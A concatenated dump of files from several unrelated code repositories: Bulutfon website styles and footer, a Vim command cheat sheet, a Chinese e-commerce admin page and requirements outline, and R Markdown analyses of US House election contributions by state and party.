font-size: 20px
text-align: center
@media (max-width: 480px)
#secondary-navigation
display: none<file_sep>/source/assets/stylesheets/_common.css.sass
body
background: #fff
font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif
font-weight: 400
font-size: 16px
line-height: 1.4em
overflow-x: hidden
a.join-now-btn
font-size: 1.8em
padding: 23px 40px
text-decoration: none
margin-top: 100px
text-align: center
a.join-now-second-btn
text-decoration: none
display: block
width: 200px
margin-top: 30px
text-align: center
font-size: 1.3em
padding: 12px 20px
p.show-detils
text-align: center
padding-top: 5px
a
color: white
font-size: 12px<file_sep>/source/layouts/partials/shared/_footer.haml
%footer#footer
.container
.row.links
.col-sm-2
%h4 Menü
%p
%a{ href: 'https://www.bulutfon.com', target: '_blank' } Bütün Yazılar
%p
%a{ href: 'https://www.bulutfon.com#how-it-works', target: '_blank' } Nasıl Çalışır?
%p
%a{ href: 'https://www.bulutfon.com#features', target: '_blank' } Özellikler
%p
%a{ href: 'https://www.bulutfon.com#pricing', target: '_blank' } Santral Paketleri
%p
%a{ href: 'https://www.bulutfon.com/tarifeler', target: '_blank' } Konuşma Tarifeleri
.col-sm-2
%h4 Sözleşmeler
%p
%a{ href: 'https://www.bulutfon.com/terms_of_membership', target: '_blank' } Üyelik Sözleşmesi
%p
%a{ href: 'https://www.bulutfon.com/agreements/v20140416-Bulutfon-Abonelik-Sozlesmesi.pdf', target: '_blank' } Abonelik Sözleşmesi
%h4 Yardım
%p
%a{ href: 'http://yardim.bulutfon.com/', target: '_blank' } Bilgi Bankası
%h4 Kampanyalar
%p
%a{ href: 'http://kampanya.bulutfon.com/teknokent-firmalarina-ozel-kampanya.html' } Teknokent Firmaları
%p
%a{ href: 'http://kampanya.bulutfon.com/muhasebeci-ve-mali-musavirlere-ozel-kampanya.html' } Muhasebeci & Müşavirler
%p
%a{ href: 'http://kampanya.bulutfon.com/satis-ortakligi-kampanyasi.html' } Satış Ortaklarımiz
.col-sm-2
%h4 Blog
%p
%a{ href: 'http://blog.bulutfon.com', target: '_blank' } Bütün Yazılar
%p
%a{ href: 'http://blog.bulutfon.com/category/etkinlikler/', target: '_blank' } Etkinlikler
%p
%a{ href: 'http://blog.bulutfon.com/category/yeni-ozellikler/', target: '_blank' } Yeni Özellikler
%h4 Basın
%p
%a{ href: 'https://www.bulutfon.com/press/bulutfon_press_kit.zip', target: '_blank'} Basın Kiti
%p
%a{ href: 'http://blog.bulutfon.com/category/basinda-biz/', target: '_blank' } Basında Biz
.col-sm-2
%h4 Sosyal Medya
.social_list
%p
.fa.fa-twitter
%a{ href: 'https://twitter.com/Bulutfon', target: '_blank'} Twitter
%p
.fa.fa-facebook
%a{ href: 'https://www.facebook.com/Bulutfon', target: '_blank'} Facebook
%p
.fa.fa-google-plus
%a{ href: 'https://plus.google.com/+Bulutfon', target: '_blank'} Google Plus
%p
.fa.fa-youtube
%a{ href: 'http://www.youtube.com/Bulutfon', target: '_blank'} Youtube
%p
.fa.fa-linkedin
%a{ href: 'http://www.linkedin.com/company/bulutfon-telekom-nikasyon-sanayi-ve-ticaret-anonim-irketi', target: '_blank'} LinkedIn
.col-md-4.footer-copyrights
%h5 BULUTFON TELEKOMÜNİKASYON AŞ
%p
%strong Adres:
Pamukkale Üniversitesi Teknoloji
%br/
Geliştirme Bölgesi D Blok No:117 Denizli
%br/
%strong Telefon:
0 850 885 00 00
%strong Faks:
0 258 215 50 71
%br/
%strong Vergi Dairesi / No
Pamukkale VD / 1890618568
%br/
%strong Email
<EMAIL>
%p.copyright © Copyright 2014 Bulutfon. Tüm hakları saklıdır.
.row
.col-sm-4
%a.twitter-share-button{'data-hashtags' => 'bulutfon', 'data-lang' => 'tr', 'data-related' => 'bulutfon', 'data-text' => 'Sanal santral, faks, sesli mesaj, ses kaydı hizmetleri', 'data-url' => 'https://bulutfon.com/', 'data-via' => 'bulutfon', href: 'https://twitter.com/share'} Tweet
:javascript
!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');
.col-sm-4
%iframe{allowtransparency: 'true', frameborder: '0', scrolling: 'no', src: '//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fbulutfon.com&width&layout=button_count&action=like&show_faces=true&share=true&height=21', style: 'border:none; overflow:hidden; height:21px;'}
.col-sm-4
.g-plusone{ 'data-annotation' => 'bubble', 'data-size' => 'medium', 'data-width' => '300' }
:javascript
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/platform.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
.clearfix
|
188b94e265df88d767b2aba49809719170351571
|
[
"CoffeeScript",
"Sass",
"Markdown",
"Haml"
] | 18 |
CoffeeScript
|
bulutfon/kampanya.bulutfon.com
|
7d933dc3195541b9d39bb9873d0151498f407e08
|
9130829533e18de5fdcd066403192e8f3276f452
|
refs/heads/main
|
<repo_name>LoginALee/vimCommands<file_sep>/Readme.md
# Basics about VIM
## What is VIM anyway?
## Aqui estuvo Alex
Vim is a highly configurable text editor built to enable efficient text editing.
It is an improved version of the vi editor distributed with most UNIX systems. Vim is distributed free as charityware
## Aqui estuvo Alex otra vez gg
The best way to learn Vim is by reading its documentation, but in this repo im going to collect some
of the basics in order to learn it myself :) , so there are some notations that will help us read the
instructions or commands better, let's get to it shall we?
## Move around
Here we don't use arroy keys, instear we use
| Notation | Meaning |
| ----------- | ----------- |
| `H` | Left arrow |
| `J` | Down arrow |
| `K` | Up arrow |
| `L` | Right arrow |
## Commands
We can repeat X number of times a command, typing {theNumber}{command}.
Example:
3dd
This wil repeat the command "dd" three times.
Here we are going to list multiple commands:
- **o** | Insert text below
- **O** | Insert text above
- **w** | Go to next word
- **b** | Go to previous word
- **dw** | Delete current word
- **dd** | Delete the whole current line
- **set numbers** | Show line numbers
- **u** | Undo an action
- **Ctrl + r** | Re-do an action
- **/{word}** | Find a word
- **n** | Go to the next matched word
- **N** | Go to the previous matched word
- **%s/{word}/{newWord}/** | Finds and replaces the first matched word
- **%s/{word}/{newWord}/g** | Finds and replaces all matched words
- **w** | Save file
- **q!** | Exit without saving
- **wq** | Save and exit
### Tips to read the [Official Vim Docs](http://vimdoc.sourceforge.net/index.php)
In Normal mode, commands are designed to be typed as a sequence of keystrokes.
Example:
| Notation | Meaning |
| ----------- | ----------- |
| `x` | Press x once |
| `dw` | In sequence, press **d**, then **w** |
| `dap` | In sequence, press **d**, **a**, then **p** |
These may be a little short sequences, but some are longer.
When we see a notation suck as **<C-p>**, it doesn't mean "Press <, then C, then -, and so on". The **<C-p>** notation
is equivalent to **Ctrl-p**, which means "Press the <Ctrl> and p keys at the same time".
Example:
| Notation | Meaning |
| ----------- | ----------- |
| `<C-n>` | Press <Ctrl> and n at the same time |
| `g<C-]>` | Press g, followed by <Ctrl> and ] at the same time |
| `<C-r>0` | Press <Ctrl> and r at the same time, then 0 |
| `<C-w><C-=>` | Press <Ctrl> and w at the same time, then <Ctrl> and = at the same time |
### Placeholders
<!--Some commands must be followed by a particular kind of keystroke. while other commands can be followed by any key on the keyboard.-->
<!--Example:-->
<!--| Notation | Meaning |-->
<!--| ----------- | ----------- |-->
<!--| `f{char}` | Press f, followedd by any other character |-->
<!--|`'{a-z}` | Press ', followed by any lowercase letter |-->
<!--| `m{a-zA-Z}` | Press m, followed by any lowercase or uppercase letter |-->
<!--| `d{motion}` | Press d, followed by any motion command |-->
<!--| `<C-r>{register}` | Press <Ctrl> and r at the same time, followed by the address of a register |-->
<!--Some keys are called by name, some examples are:-->
### varo changes
This is a test
And this is the second change
| Notation | Meaning |
| ----------- | ----------- |
| `<Esc>` | Press the Escape key |
| `<CR>` | Press the carriage return key (also known as <Enter> |
| `<Ctrl>` | Press the Control key |
| `<Tab>` | Press the Tab key |
| `<Shift>` | Press the Shift key |
| `<S-Tab>` | Press the <Shift> and <Tab> keys at the same time |
| `<Up>` | Press the up arrow key |
| `<Down>` | Press the down arrow key |
| 'test' | Press test 1 |
| 'test2| | Press test 2 |
<!--| Notation | Meaning |-->
<!--| ----------- | ----------- |-->
<!--| `<Esc>` | Press the Escape key |-->
<!--| `<CR>` | Press the carriage return key (also known as <Enter> |-->
<!--| `<Ctrl>` | Press the Control key |-->
<!--| `<Tab>` | Press the Tab key |-->
<!--| `<Shift>` | Press the Shift key |-->
<!--| `<S-Tab>` | Press the <Shift> and <Tab> keys at the same time |-->
<!--| `<Up>` | Press the up arrow key |-->
<!--| `<Down>` | Press the down arrow key |-->
### Replace Mode
`R` - Press R to acces to replace mode
|
5fbc9c970f9553dad2ad3f6d50839865b0ed5e91
|
[
"Markdown"
] | 1 |
Markdown
|
LoginALee/vimCommands
|
bb766c5dc943502ed1033b1dc9b8cec33e10f50f
|
bb2d446b5384e7cd27b4c37e05fb144d7f70c3f1
|
refs/heads/master
|
<repo_name>geomonlin/zesi2016<file_sep>/ProductManager/back/product/ShowProductDetail.html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! -->
<meta name="description" content="">
<meta name="author" content="">
<title>商城后台管理</title>
<!-- Bootstrap -->
<link href="../../css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../css/dashboard.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="#" style="font-size: 30px">商城后台管理</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav navbar-right">
<li>
<a href="#">
<span class="glyphicon glyphicon-user" aria-hidden="true"></span>欢迎:admins 使用系统
</a>
</li>
<li>
<a href="#">
<span class="glyphicon glyphicon-off" aria-hidden="true"></span>退出
</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container-fluid">
<div class="row">
<!--菜单-->
<div class="col-sm-3 col-md-2 sidebar">
<ul class="nav nav-pills nav-stacked">
<li class="active">
<a href="ShowAllProduct.html">商品管理</a>
</li>
<li>
<a href="../category/ShowAllCategory.html">类别管理</a>
</li>
<li>
<a href="../user/ShowAllUser.html">会员管理</a>
</li>
</ul>
</div>
<div class="col-sm-9 col-sm-offset-3 col-md-10 col-md-offset-2 main">
<h1 class="page-header"><span style="font-size: 25px; font-family: '微软雅黑';">商品管理 · 商品详情</span></h1>
<div class="row">
<div class='col-md-2'>
</div>
<div class="col-md-8 well well-lg">
<div class="panel panel-success">
<!-- Default panel contents -->
<div class="panel-heading">Iphone SE</div>
<div class="panel-body">
<!-- List group -->
<ul class="list-group">
<li class="list-group-item">价格:4888¥</li>
<li class="list-group-item">库存:100台</li>
<li class="list-group-item">销售量:2000台</li>
<li class="list-group-item">访问量:10000</li>
<li class="list-group-item">状态:上架</li>
<li class="list-group-item">
<div class="media">
<div class="media-center media-top">
<img class="media-object img-thumbnail" width="200px" src="../../productPic/100.jpg" alt="...">
</div>
<div class="media-body">
<h4 class="media-heading">Iphone SE</h4>
<p>
iPhone SE是美国苹果公司推出的一款新的4英寸iPhone智能手机,该手机是基于iPhone 5S的升级版本。苹果公司将该款产品命名为:iPhone SE(Special Edition),这是名称首次不带数字的iPhone设备。
iPhone SE由苹果公司于美国时间2016年3月21日10点在美国加州库比蒂诺总部举行发布会正式发布。iPhone SE有玫瑰金色,有一个嵌入不锈钢标志,正面和背面底部有玻璃镜面。iPhone SE外观与iPhone 5s基本一致。iPhone SE 16G和64G的美国市场售价分别为399美元和499美元,中国首发售价分别为3288元4088元。[1]
iPhone SE搭载A9处理器,嵌入式M9运动协处理器,内置2GB运行内存,后置1200万像素摄像头,支持Live Photos、VoLTE、4K视频录制等功能。不过相比于iPhone 6s,iPhone SE并不支持3D Touch。
2016年3月21日,2016苹果春季新品发布会发布,iPhone SE是搭配的4英寸显示屏,将于中国时间3月24日星期五开始发售。
iPhone SE在2017年3月21日起不再销售16GB和64GB版本,仅提供32GB 和128GB 存储容量的机型,容量翻倍但价格不变,32GB版为人民币3288 元,128GB为人民币4088元。
</p>
</div>
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="col-md-2">
</div>
</div>
<!--列表展示-->
<div id="row" style="height: 20px;">
</div>
</div>
</div>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="../../js/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="../../js/bootstrap.min.js"></script>
<!-- Just to make our placeholder images work. Don't actually copy the next line! -->
<script src="../../assets/js/vendor/holder.js" tppabs="http://v3.bootcss.com/assets/js/vendor/holder.js"></script>
</body>
</html><file_sep>/ProductManager/简要需求分析.md
#商城管理需求文档
##1. 管理员登陆注册模块
Admin[id,username,password]
##2. 热卖商品模块
① 销量前4名商品。
② 浏览量前10的商品信息。
##3. 商品管理模块
Product[id,productName,price,sum,unit,picUrl,describe,sellNum,visitCount,status,cid]
① 商品添加
② 商品删除
④ 商品列表展示
⑤ 商品详情
⑥ 商品信息修改[名字、价格、描述、库存]
⑦ 商品下架、上架
⑧ 类别搜索
##4. 类别管理模块
Category[id,categoryName,describe]
① 类别列表
② 类别添加
③ 类别修改
④ 类别删除
⑤ 最热卖的5个类别的,访问量+销售量柱状图。
⑥ 所有类别的 商品数量饼状图。
##5. 用户管理模块[商品购买的用户,非后台管理员]
User[id,username,password,birth,email,phone,regist_date,vip,status]
① 用户列表
② 用户添加
③ 用户修改
④ 用户冻结[通常用户数据比较宝贵,企业一般及时用户违规操作,也只是冻结,不会删除用户信息]
|
e9dff139cf2e4cbdb0001e7f0fe099ecb998b5ca
|
[
"Markdown",
"HTML"
] | 2 |
Markdown
|
geomonlin/zesi2016
|
26e63d1b5ced36cd37f2e06a2bbb63e571211e1b
|
0f0d600242445766b8748bd98803325a8633440c
|
refs/heads/master
|
<file_sep>---
title: "memo"
author: "<NAME>, Stella"
date: "3/23/2018"
output: html_document
---
```{r}
# #make function
#
#
# contribution_party <- function(name_arg) {
#
# all_party <- party_contribution %>%
# filter(cand_party_affiliation == name_arg)
#
#
#
# mapping <- ggplot(all_party, aes(map_id = cand_state)) +
# # map points to the fifty_states shape data
# geom_map(aes(fill = contri_party), map = fifty_states) +
# expand_limits(x = fifty_states$long, y = fifty_states$lat) +
# coord_map() +
# scale_x_continuous(breaks = NULL) +
# scale_y_continuous(breaks = NULL) +
# labs(x = "", y = "", title = name_arg) +
# theme(legend.position = "bottom",
# panel.background = element_blank()) + labs(fill = "Amount of Contribution")
#
#
# }
#
# #
# #+ geom_text(data = fifty_statesaes(x = long, y = fifty_states$lat, label = state)) + geom_text(data= sum_data, alpha = 1, color = "black") + scale_fill_continuous( low = "#B0E2FF", high = "#607B8B")
#
# party_plots <- lapply(parties, contribution_party)
#
# party_plots
```
#mapping if there is more R winning than D the map turns red and the other way it is blue
# mapping <- ggplot(all_party, aes(map_id = cand_state)) +
# # map points to the fifty_states shape data
# geom_map(aes(fill = contri_party), map = fifty_states) +
# expand_limits(x = fifty_states$long, y = fifty_states$lat) +
# coord_map() +
# scale_x_continuous(breaks = NULL) +
# scale_y_continuous(breaks = NULL) +
# labs(x = "", y = "", title = name_arg) +
# theme(legend.position = "bottom",
# panel.background = element_blank()) + labs(fill = "Amount of Contribution")
-------------------------------------------------------------------
```{r}
# mapping <- ggplot(party_contribution, aes(map_id = cand_state)) +
# # map points to the fifty_states shape data
# geom_map(aes(fill = contri_party), map = fifty_states) +
# expand_limits(x = fifty_states$long, y = fifty_states$lat) +
# coord_map() +
# scale_x_continuous(breaks = NULL) +
# scale_y_continuous(breaks = NULL) +
# labs(x = "", y = "") +
# theme(legend.position = "bottom",
# panel.background = element_blank()) + labs(fill = "Amount of Contribution") + facet_wrap(~ cand_party_affiliation) + scale_fill_continuous(breaks = c(-1000, 214500,429046963), labels = c("-1k","214500K", "429000K"),low = "#B0E2FF", high = "#607B8B") + geom_text(aes(x = fifty_states$long, y = fifty_states$lat, label = state), data= sum_data, alpha = 1, color = "black")
#
# mapping
```
#
# # add border boxes to AK/HI
# #mapping + fifty_states_inset_boxes()
# # ggplot(party_contribution, aes(x = cand_party_affiliation, y = contri_party)) + geom_bar(stat = "identity") + facet_wrap(~state)
```
-------------------------------------------------------------------
```{r, message=FALSE, warning=FALSE}
# sum of general votes per state
sum_vote<- house_elections %>%
group_by(state) %>%
summarise(sum_vote = sum(general_votes)) %>%
filter(state %in% fifty_states_name)
# sum of contribution for each state
sum_contribution <- contributions %>%
group_by(state) %>%
summarise(sum_contribution = sum(transaction_amt))
sum_data <- inner_join(sum_vote, sum_contribution)
```
```{r,message=FALSE, warning=FALSE}
# changing the the observation name in the sum_data data frame
sum_data$state[sum_data$state== "AK"] <- "alaska"
sum_data$state[sum_data$state== "AL"] <- "alabama"
sum_data$state[sum_data$state== "AR"] <- "arkansas"
sum_data$state[sum_data$state== "AZ"] <- "arizona"
sum_data$state[sum_data$state== "CA"] <- "california"
sum_data$state[sum_data$state== "CO"] <- "colorado"
sum_data$state[sum_data$state== "CT"] <- "connecticut"
sum_data$state[sum_data$state== "DE"] <- "delaware"
sum_data$state[sum_data$state== "FL"] <- "florida"
sum_data$state[sum_data$state== "GA"] <- "georgia"
sum_data$state[sum_data$state== "HI"] <- "hawaii"
sum_data$state[sum_data$state== "IA"] <- "iowa"
sum_data$state[sum_data$state== "ID"] <- "idaho"
sum_data$state[sum_data$state== "IL"] <- "illinois"
sum_data$state[sum_data$state== "IN"] <- "indiana"
sum_data$state[sum_data$state== "KS"] <- "kansas"
sum_data$state[sum_data$state== "KY"] <- "kentucky"
sum_data$state[sum_data$state== "LA"] <- "louisiana"
sum_data$state[sum_data$state== "MA"] <- "massachusetts"
sum_data$state[sum_data$state== "MD"] <- "maryland"
sum_data$state[sum_data$state== "ME"] <- "maine"
sum_data$state[sum_data$state== "MI"] <- "michigan"
sum_data$state[sum_data$state== "MN"] <- "minnesota"
sum_data$state[sum_data$state== "MO"] <- "missouri"
sum_data$state[sum_data$state== "MS"] <- "mississippi"
sum_data$state[sum_data$state== "MT"] <- "montana"
sum_data$state[sum_data$state== "NC"] <- "north carolina"
sum_data$state[sum_data$state== "ND"] <- "north dakota"
sum_data$state[sum_data$state== "NE"] <- "nebraska"
sum_data$state[sum_data$state== "NH"] <- "new hampshire"
sum_data$state[sum_data$state== "NJ"] <- "new jersey"
sum_data$state[sum_data$state== "NM"] <- "new mexico"
sum_data$state[sum_data$state== "NV"] <- "nevada"
sum_data$state[sum_data$state== "NY"] <- "new york"
sum_data$state[sum_data$state== "OH"] <- "ohio"
sum_data$state[sum_data$state== "OK"] <- "oklahoma"
sum_data$state[sum_data$state== "OR"] <- "oregon"
sum_data$state[sum_data$state== "PA"] <- "pennsylvania"
sum_data$state[sum_data$state== "RI"] <- "rhode island"
sum_data$state[sum_data$state== "SC"] <- "south carolina"
sum_data$state[sum_data$state== "SD"] <- "south dakota"
sum_data$state[sum_data$state== "TN"] <- "tennessee"
sum_data$state[sum_data$state== "TX"] <- "texas"
sum_data$state[sum_data$state== "UT"] <- "utah"
sum_data$state[sum_data$state== "VA"] <- "virginia"
sum_data$state[sum_data$state== "VT"] <- "vermont"
sum_data$state[sum_data$state== "WA"] <- "washington"
sum_data$state[sum_data$state== "WI"] <- "wisconsin"
sum_data$state[sum_data$state== "WV"] <- "west virginia"
sum_data$state[sum_data$state== "WY"] <- "wyoming"
```
```{r, message=FALSE, warning=FALSE}
# all_contributions <- contributions %>%
# group_by(cand_id) %>%
# summarize(contribution_sum = sum(transaction_amt))
#
# condi_contri <- house_elections %>% left_join(all_contributions, by = "cand_id")
```
```{r, message=FALSE, warning=FALSE}
# #The contributors ranking from the most contributor to the least
# most_contri <- contributions %>%
# group_by(cmte_id) %>%
# summarise(sum_trans = sum(transaction_amt)) %>%
# arrange(desc(sum_trans))
#
# most_can <- contributions %>%
# group_by(cmte_id) %>%
# summarise(sum_can = sum(n_distinct(cand_id))) %>%
# arrange(desc(sum_can))
#
# # the data set which describes the most contribution and how many candidates the contributors are supporting
# money_n_ppl <- inner_join (most_contri, most_can)
#
# # Looking at the contributor (top 10) and the candidates elecition results
# top_10_contributors <- money_n_ppl %>%
# head(10)
#
# top_10 <- top_10_contributors$cmte_id
#
#
#
# top_10_candi <- contributions %>%
# filter(cmte_id %in% top_10)
#
#
# data_sum <- contributions %>% inner_join (house_elections, by = "cand_id")
```
```{r, message=FALSE, warning=FALSE}
# # which contributors supported the most elected candidates
# winner_num <- data_sum %>%
# filter(winner == "1") %>%
# group_by(cmte_id) %>%
# summarise(sum_win = sum(n_distinct(cand_id)))
#
#
# # %>%
# # group_by(cmte_id) %>%
# # summarise(n_winner = sum(n_distinct(winner)))
#
# # the sum of candidates who the contributor is suporting
# all_sum <- data_sum %>%
# group_by(cmte_id) %>%
# summarise(sum_can = sum(n_distinct(cand_id)))
#
# # the sum of candidates who has been elected
# rate_elected <- inner_join(winner_num, all_sum) %>%
# mutate(rate = sum_win/sum_can) %>%
# arrange(desc(sum_win)) %>%
# arrange(desc(rate))
#
#
# # a data set that contains the rate of winning the election and the amount of contribution
# sum_contri <- inner_join(rate_elected, most_contri)
# # => there's no relationship between contribution and the rate of the person who will get elected
```
```{r, message=FALSE, warning=FALSE}
# sum_contri %>% filter(sum_win > 20)
```
```{r, message=FALSE, warning=FALSE}
# all_contributions <- contributions %>%
# group_by(cand_id) %>%
# summarize(contribuion_sum = sum(transaction_amt))
#
# candidates_n_contributions <- inner_join(candidates, contributions)
#
# house_elections <- house_elections %>%
# rename(cand_id = fec_id)
#
# candidates_n_contributions %>% left_join(house_elections, by = "cand_id")
```
```{r, message=FALSE, warning=FALSE}
# # Mapping
#
#
# # data("fifty_states") # this line is optional due to lazy data loading
# #
# crimes <- data.frame(state = tolower(rownames(USArrests)), USArrests)
# #
# # # map_id creates the aesthetic mapping to the state name column in your data
# # p <- ggplot(crimes, aes(map_id = state)) +
# # # map points to the fifty_states shape data
# # geom_map(aes(fill = Assault), map = fifty_states) +
# # expand_limits(x = fifty_states$long, y = fifty_states$lat) +
# # coord_map() +
# # scale_x_continuous(breaks = NULL) +
# # scale_y_continuous(breaks = NULL) +
# # labs(x = "", y = "") +
# # theme(legend.position = "bottom",
# # panel.background = element_blank())
# #
# # p
# # # add border boxes to AK/HI
# # p + fifty_states_inset_boxes()
#
# ```
```{r, message=FALSE, warning=FALSE}
# data("fifty_states") # this line is optional due to lazy data loading
#
# # map_id creates the aesthetic mapping to the state name column in your data
# mapping <- ggplot(sum_data, aes(map_id = state)) +
# # map points to the fifty_states shape data
# geom_map(aes(fill = sum_vote), map = fifty_states) +
# expand_limits(x = fifty_states$long, y = fifty_states$lat) +
# coord_map() +
# scale_x_continuous(breaks = NULL) +
# scale_y_continuous(breaks = NULL) +
# labs(x = "", y = "") +
# theme(legend.position = "bottom",
# panel.background = element_blank()) + labs(fill = "Number of Votes") + scale_fill_continuous(breaks = c(250000, 6270000,12204357), labels = c("240k","6270K", "12300K"),low = "#9BF5FF", high = "#53868B")
#
# # add border boxes to AK/HI
# mapping + fifty_states_inset_boxes()
#not include VI(virfin islands), PR(Puerto Rico), MP(northern Mariana Islands), GU (Guam), DC(district of columbia), AS(?)
```
- contribution sum of the states
```{r, message=FALSE, warning=FALSE}
mapping <- ggplot(sum_data, aes(map_id = state)) +
# map points to the fifty_states shape data
geom_map(aes(fill = sum_contribution), map = fifty_states) +
expand_limits(x = fifty_states$long, y = fifty_states$lat) +
coord_map() +
scale_x_continuous(breaks = NULL) +
scale_y_continuous(breaks = NULL) +
labs(x = "", y = "") +
theme(legend.position = "bottom",
panel.background = element_blank()) + labs(fill = "Amount of Contribution") + scale_fill_continuous(breaks = c(1170000, 214200000,425544900), labels = c("240k","214200K", "426000K"),low = "#B0E2FF", high = "#607B8B")
# + geom_text(aes(x = fifty_states$long, y = fifty_states$lat, label = state), data= sum_data, alpha = 1, color = "black")
# add border boxes to AK/HI
mapping + fifty_states_inset_boxes()
```
```{r}
# # votes per state per party
# party_votes <- house_elections %>%
# filter(state %in% fifty_states)
#
# # %>%
# # group_by(state, party) %>%
# # summarise(vote_party = sum(general_votes))
#
#
# ggplot(party_votes, aes(x = party, y = vote_party)) + geom_bar(stat = "identity") + facet_wrap(~state)
```
<file_sep>---
title: "Contribution vs State Political Leaning: Which is The Most Crucial Factor for Being Elected"
author: "<NAME>"
date: "March 9, 2018"
output:
html_document:
code_folding: hide
---
```{r, include=FALSE, messages=FALSE, warning=FALSE}
load("house_elections.rda")
load("candidates.rda")
load("committees.rda")
load("contributions.rda")
library(tidyverse)
library(dplyr)
library(ggplot2)
library(fiftystater)
library(gridExtra)
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# making the list for fifty states
fifty_states_name <-c("AK", "AL", "AR", "AZ", "CA", "CO", "CT", "DE", "FL", "GA", "HI", "IA", "ID", "IL", "IN", "KS", "KY", "LA", "MA", "MD", "ME", "MI", "MN", "MO", "MS", "MT", "NC", "ND", "NE", "NH", "NJ", "NM", "NV", "NY", "OH", "OK", "OR", "PA", "RI", "SC", "SD", "TN", "TX", "UT", "VA", "VT", "WA", "WI", "WV", "WY" )
# renaming the column name of fec_id to cand_id and filter it to just include 50 states
house_elections <- house_elections %>%
rename(cand_id = fec_id) %>%
filter(state %in% fifty_states_name)
#filter the data to just include 50 states
candidates <- candidates %>%
filter(cand_state %in% fifty_states_name)
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# adding an indicator variable that say win = 1 and lose = 0
house_elections <- house_elections %>%
mutate(winner = ifelse(ge_winner == "W", 1, 0))
# to unshow 2 unnecessity columns
house_elections$"ifelse(ge_winner == \"W\", 1, 0)"<- NULL
house_elections$"winner <- ifelse(ge_winner == \"W\", 1, 0)"<- NULL
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# join the candidates data and contributions data
candi_conti <- inner_join(candidates, contributions)
# compute the amount of contribution per state and party.
party_contribution <- candi_conti %>%
group_by(cand_state, cand_party_affiliation) %>%
summarise(contri_party = sum(transaction_amt))
```
```{r, message=FALSE, warning=FALSE, echo=FALSE}
# changing the the observation name in the sum_data data frame
party_contribution$cand_state[party_contribution$cand_state== "AK"] <- "alaska"
party_contribution$cand_state[party_contribution$cand_state== "AL"] <- "alabama"
party_contribution$cand_state[party_contribution$cand_state== "AR"] <- "arkansas"
party_contribution$cand_state[party_contribution$cand_state== "AZ"] <- "arizona"
party_contribution$cand_state[party_contribution$cand_state== "CA"] <- "california"
party_contribution$cand_state[party_contribution$cand_state== "CO"] <- "colorado"
party_contribution$cand_state[party_contribution$cand_state== "CT"] <- "connecticut"
party_contribution$cand_state[party_contribution$cand_state== "DE"] <- "delaware"
party_contribution$cand_state[party_contribution$cand_state== "FL"] <- "florida"
party_contribution$cand_state[party_contribution$cand_state== "GA"] <- "georgia"
party_contribution$cand_state[party_contribution$cand_state== "HI"] <- "hawaii"
party_contribution$cand_state[party_contribution$cand_state== "IA"] <- "iowa"
party_contribution$cand_state[party_contribution$cand_state== "ID"] <- "idaho"
party_contribution$cand_state[party_contribution$cand_state== "IL"] <- "illinois"
party_contribution$cand_state[party_contribution$cand_state== "IN"] <- "indiana"
party_contribution$cand_state[party_contribution$cand_state== "KS"] <- "kansas"
party_contribution$cand_state[party_contribution$cand_state== "KY"] <- "kentucky"
party_contribution$cand_state[party_contribution$cand_state== "LA"] <- "louisiana"
party_contribution$cand_state[party_contribution$cand_state== "MA"] <- "massachusetts"
party_contribution$cand_state[party_contribution$cand_state== "MD"] <- "maryland"
party_contribution$cand_state[party_contribution$cand_state== "ME"] <- "maine"
party_contribution$cand_state[party_contribution$cand_state== "MI"] <- "michigan"
party_contribution$cand_state[party_contribution$cand_state== "MN"] <- "minnesota"
party_contribution$cand_state[party_contribution$cand_state== "MO"] <- "missouri"
party_contribution$cand_state[party_contribution$cand_state== "MS"] <- "mississippi"
party_contribution$cand_state[party_contribution$cand_state== "MT"] <- "montana"
party_contribution$cand_state[party_contribution$cand_state== "NC"] <- "north carolina"
party_contribution$cand_state[party_contribution$cand_state== "ND"] <- "north dakota"
party_contribution$cand_state[party_contribution$cand_state== "NE"] <- "nebraska"
party_contribution$cand_state[party_contribution$cand_state== "NH"] <- "new hampshire"
party_contribution$cand_state[party_contribution$cand_state== "NJ"] <- "new jersey"
party_contribution$cand_state[party_contribution$cand_state== "NM"] <- "new mexico"
party_contribution$cand_state[party_contribution$cand_state== "NV"] <- "nevada"
party_contribution$cand_state[party_contribution$cand_state== "NY"] <- "new york"
party_contribution$cand_state[party_contribution$cand_state== "OH"] <- "ohio"
party_contribution$cand_state[party_contribution$cand_state== "OK"] <- "oklahoma"
party_contribution$cand_state[party_contribution$cand_state== "OR"] <- "oregon"
party_contribution$cand_state[party_contribution$cand_state== "PA"] <- "pennsylvania"
party_contribution$cand_state[party_contribution$cand_state== "RI"] <- "rhode island"
party_contribution$cand_state[party_contribution$cand_state== "SC"] <- "south carolina"
party_contribution$cand_state[party_contribution$cand_state== "SD"] <- "south dakota"
party_contribution$cand_state[party_contribution$cand_state== "TN"] <- "tennessee"
party_contribution$cand_state[party_contribution$cand_state== "TX"] <- "texas"
party_contribution$cand_state[party_contribution$cand_state== "UT"] <- "utah"
party_contribution$cand_state[party_contribution$cand_state== "VA"] <- "virginia"
party_contribution$cand_state[party_contribution$cand_state== "VT"] <- "vermont"
